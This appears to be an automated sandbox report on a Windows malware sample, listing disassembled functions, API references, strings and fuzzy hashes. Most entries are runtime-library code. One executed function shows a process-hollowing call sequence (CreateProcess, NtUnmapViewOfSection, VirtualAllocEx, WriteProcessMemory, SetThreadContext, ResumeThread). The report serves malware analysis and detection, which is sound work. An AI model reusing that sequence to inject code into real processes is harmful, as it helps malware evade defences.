Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 5911E4B29005546AC773AAB55C21FFF7ADD9F46702F0401AAFF8CD1580DB585A049BB1

Function 023A1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 023A19C6
__CxxThrowException@8.LIBCMT ref: 023A19F1
__CxxThrowException@8.LIBCMT ref: 023A1A1A
__CxxThrowException@8.LIBCMT ref: 023A1A4B
_memset.LIBCMT ref: 023A1A6A
__CxxThrowException@8.LIBCMT ref: 023A1A90
_malloc.LIBCMT ref: 023A1AA0
_memset.LIBCMT ref: 023A1AAB
_sprintf.LIBCMT ref: 023A1ACE

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 2ffef3801faac32c543e1b46e4b5e42a36be07d96e291d3df2e40cad6b6cfc41
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: D4514F71D40219ABDB21DFA5DC85FEFBBB9FF04744F100029FA49B6180EB745A058BA5

Function 0239F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0239F284
__CxxThrowException@8.LIBCMT ref: 0239F2AF
__CxxThrowException@8.LIBCMT ref: 0239F2DE
__CxxThrowException@8.LIBCMT ref: 0239F30F
_memset.LIBCMT ref: 0239F32E
__CxxThrowException@8.LIBCMT ref: 0239F354
_sprintf.LIBCMT ref: 0239F373

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 74a59e5aa218c26a14c6773fd546bed4490a31ceddff03df434057600b8b3d6d
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 78515FB1D40209AADF11DFA1DC86FEEBB79EF05704F200129F905F6580D7B9AA058BA5

Function 0239F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0239F4B7
__CxxThrowException@8.LIBCMT ref: 0239F4E2
__CxxThrowException@8.LIBCMT ref: 0239F504
__CxxThrowException@8.LIBCMT ref: 0239F535
_memset.LIBCMT ref: 0239F554
__CxxThrowException@8.LIBCMT ref: 0239F57A
_sprintf.LIBCMT ref: 0239F594

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 5755f0cd54266b7629ff61af86eaa088d8ab57cff7987f54b850bb75b1782413
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 8F514071D40209ABDF21DFA5DC46FEEBBB9EF05704F200129F905F6280E775AA058BA4

Function 023D208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 023D20C6
__invoke_watson.LIBCMT ref: 023D2120
_strlen.LIBCMT ref: 023D20D4

Part of subcall function 023B5BA8: __getptd_noexit.LIBCMT ref: 023B5BA8

_strnlen.LIBCMT ref: 023D215F
__lock.LIBCMT ref: 023D2170
__getenv_helper_nolock.LIBCMT ref: 023D217B

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 1629e8845244721d1774fc82e85742264fd9e439b0b12385dd7a4e61b2039061
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 99310673A042216FDB32AF64EC00BAF77A99F05B24F508415EF14EB686DB74C541CBA1

Function 024566D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 024566DD

Part of subcall function 023B59BF: __calloc_crt.LIBCMT ref: 023B59E2
Part of subcall function 023B59BF: __initptd.LIBCMT ref: 023B5A04

__calloc_crt.LIBCMT ref: 02456700
__get_sys_err_msg.LIBCMT ref: 0245671E
__invoke_watson.LIBCMT ref: 0245673B
__get_sys_err_msg.LIBCMT ref: 0245676D
__invoke_watson.LIBCMT ref: 0245678B

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 498e66b0aa16fb9035743dd9b1d68daf452855ca065b3205d8d05978bd896177
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: E611C8716016247BEB326E25DC00BAB739DDF00B61F810427FF8496742EB31DD404AE4

Function 023A2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023A26DB
_memset.LIBCMT ref: 023A2A30
_memset.LIBCMT ref: 023A2AC0

Strings

D, xrefs: 023A2AC8

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 970bc3cab4dce72d0a0b33b61279b7f932412b1f80fce55e7bdbb914439b5922
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 4AE14971D00219ABCF24DBA0CD99FEEBBB8FF04704F144179EA09A6590EB74AA45CF54

Function 0239D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0239D8EA

Strings

(, xrefs: 0239DAE9
, xrefs: 0239DADB
$, xrefs: 0239DAE2

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 22e42661cfda286e9b7d3bd47f08f654212cea1798b9467055b1a46e3d748421
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 9691CF71C0021CAAEF21EFA4CC5ABEEBBB5AF06304F144169D505772C1DBB65A48CF65

Function 023B5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 023B5CF4

Strings

U, xrefs: 023B5CFD

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: ca83e78feab5da7a7ba233646b7c1c66caf954a759dadf56575d77bfb852c8e9
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 34210B32204308AAEB129EB49C49BFA739DDF44751F900169EB08C6990FB70ED408A94

Function 023AA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 023AA858
_memset.LIBCMT ref: 023AA869
_memset.LIBCMT ref: 023AA87A

Strings

p2Q, xrefs: 023AA882

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 2db33e54d77467a60d78fb69f3810e60153a7857b6262d1ecd7a6eece6255d23
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 5EF0E578694790A5F7217B50BC267857D927F31B08F104449D5142E2E1D7FD234C6799

Function 023DFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 023DFBF1

Part of subcall function 023C169C: std::exception::_Copy_str.LIBCMT ref: 023C16B5

__CxxThrowException@8.LIBCMT ref: 023DFC06

Strings

TeM, xrefs: 023DFBE7, 023DFBFB
TeM, xrefs: 023DFBFE

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 8464d8cb2f355bac22d0e32a296e3c493d3fab4f6868c1a865f9288df40ad3ed
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 05D06775C0420CBBCB00EFA5D459CDDBBB9AA04344F108466AD5897241EA74A7499F94

Function 0239D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 023B197D: __wfsopen.LIBCMT ref: 023B1988

_fgetws.LIBCMT ref: 0239D15C

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 389a1f854516e34f79cc501e5621b3470a142d2b3fff7fe5f406319eb0b92f3b
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: BA91D172D1031DABCF21EFA4CD867AEB7B5BF06304F140129E959A3640E775EA04CBA5

Function 0239D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0239D77E
_malloc.LIBCMT ref: 0239D7B2
_malloc.LIBCMT ref: 0239D7C1
_fprintf.LIBCMT ref: 0239D815

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 55b228dcbef83f90dedb5de055ccdee627fc22346a060b4a32f9076839ac9698
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: FCA151B1C0025CDBEF21EFE4C85ABDEBB76AF15304F140128E50576291D7BA5A48CFA6

Function 023B2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 023B2B2E
__read_nolock.LIBCMT ref: 023B2BFE
__filbuf.LIBCMT ref: 023B2C21
_memset.LIBCMT ref: 023B2C65

Part of subcall function 023B5BA8: __getptd_noexit.LIBCMT ref: 023B5BA8

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 7f472099c050a77844ee30f65163e2b78e968ef0c2b65cccfb90509c8a52bdbe
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: D951A270A003099BDB2BCF7988846EFB7B6AF40325F148729EE3596ED0DB749951CB40

Function 023D1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 023D137D

Part of subcall function 023D1A9D: __fltout2.LIBCMT ref: 023D1AC6

__cftog_l.LIBCMT ref: 023D13A3
__cftoe_l.LIBCMT ref: 023D13D5

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 8d8e7f19bddb312c0107f5ef43e69aaef5e26744b192c22f9c3d4d9d57f28313
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: A101487344018ABBCF265E84EC01CEE3F67BB19354B488415FA9D59930D336C5B2AB81

Function 02457A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02457A4B

Part of subcall function 02458140: ___BuildCatchObjectHelper.LIBCMT ref: 02458172
Part of subcall function 02458140: ___AdjustPointer.LIBCMT ref: 02458189

_UnwindNestedFrames.LIBCMT ref: 02457A62
___FrameUnwindToState.LIBCMT ref: 02457A74
CallCatchBlock.LIBCMT ref: 02457A98

Memory Dump Source

Source File: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2390000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 51034a92048bb8c2c4c4d15bb0098a0f81a73d1d7a9c34895f1bce2abe1c7f88
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 6F011B32000119BBDF12AF55CC00EDB7BAAEF48754F15802AFD5865222D732E9A1DF90

Analysis Process: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exePID: 7664, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	8

Executed Functions

Function 02210110 Relevance: 21.2, APIs: 14, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02210156
CreateProcessA.KERNELBASE(?,00000000), ref: 02210255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02210270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02210283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0221029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022102C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022102E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02210304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0221032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02210399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022103BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022103E1
ResumeThread.KERNELBASE(00000000), ref: 022103ED
ExitProcess.KERNEL32(00000000), ref: 02210412

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFreeReadResumeSectionUnmapView
String ID:
API String ID: 3993611425-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 183b284a51a4de45eb43a49aae16098dcfe43d07e968032702add6b6963ce898
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: ACB1C974A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AE41CF94

Function 02210420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02210533

Strings

saodkfnosa9uin, xrefs: 022104DA
mfoaskdfnoa, xrefs: 02210520, 02210523
d, xrefs: 02210584
0, xrefs: 02210492

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 143cf45b66d8c5618922490a09c9883e1e5a05c946fb3b771abf5006b85aa5e4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 9C511A70D08388EAEB11CBE8C849BDDBFF26F21708F144058D5447F28AC3BA5658CB66

Function 022105B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022105EC

Strings

o, xrefs: 02210600
apfHQ, xrefs: 022105E2, 022105E5

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e28b8b5dc4d550e761b2378ce38154a15c716e7868a6fed9aaa08447bcf7e108
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 55011E70C0429DEADB10DBD8C5587AEBFF5AF51308F148099C8092B241D7B69B98CBA1

Function 0216F7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0216F7EE
Module32First.KERNEL32(00000000,00000224), ref: 0216F80E

Memory Dump Source

Source File: 00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_216f000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2906eb5ca404399339eb4187a9a74d0f43f64a273491fa606266d6d9770eaa72
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 2DF062312407116FD7203BB9B88DB7E76ECAF49625F200679E643918C0DB70E8568A61

Function 0216F485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0216F4D6

Memory Dump Source

Source File: 00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_216f000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 5bd14e6310a8ff7038ff6f6bad50eb8580be6cc0888ce2e915caa18096e8543d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 85113C79A40208EFDB01DF98C989E9DBBF5AF08351F058094F9499B361D771EA90DF80

Non-executed Functions

Function 022384AB Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022384B1
_free.LIBCMT ref: 022384E2
_free.LIBCMT ref: 022384F5
_free.LIBCMT ref: 02238513
_free.LIBCMT ref: 02238525
_free.LIBCMT ref: 02238536
_free.LIBCMT ref: 02238541
_free.LIBCMT ref: 02238565
_free.LIBCMT ref: 02238581
_free.LIBCMT ref: 02238597
_free.LIBCMT ref: 022385BF

Strings

ystem32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps, xrefs: 02238577, 02238580, 02238587

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID: ystem32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps
API String ID: 1022109855-306887086
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 558906d036ddeb4ea88fbf3840553051b634a0af95356c6ea759be9e724f0a94
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0431C8B3A10351DFCF135F94FC8084977A6FB14324705852AFA085B2B4CBB459C99F96

Function 02236437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0223644E

Part of subcall function 02239636: __calloc_impl.LIBCMT ref: 02239645

__calloc_crt.LIBCMT ref: 02236472
_free.LIBCMT ref: 02236480
__calloc_crt.LIBCMT ref: 0223648E
_free.LIBCMT ref: 0223649E
_free.LIBCMT ref: 022364A4
__copytlocinfo_nolock.LIBCMT ref: 022364B3
__setmbcp_nolock.LIBCMT ref: 022364D4
_free.LIBCMT ref: 022364E2
___removelocaleref.LIBCMT ref: 022364E9
___freetlocinfo.LIBCMT ref: 022364F0
_free.LIBCMT ref: 022364F6

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 43e677761a587c9b91b48a77f13585c6602ced2ed840fcb28a0ee1d72538e486
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 5B21CFF2624301BAE7333FE5CC01E2B7BEEDF42760B508029E548550ACEB628560CE58

Function 02233F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02233F51

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

__gmtime64_s.LIBCMT ref: 02233FEA
__gmtime64_s.LIBCMT ref: 02234020
__gmtime64_s.LIBCMT ref: 0223403D
__allrem.LIBCMT ref: 02234093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022340AF
__allrem.LIBCMT ref: 022340C6
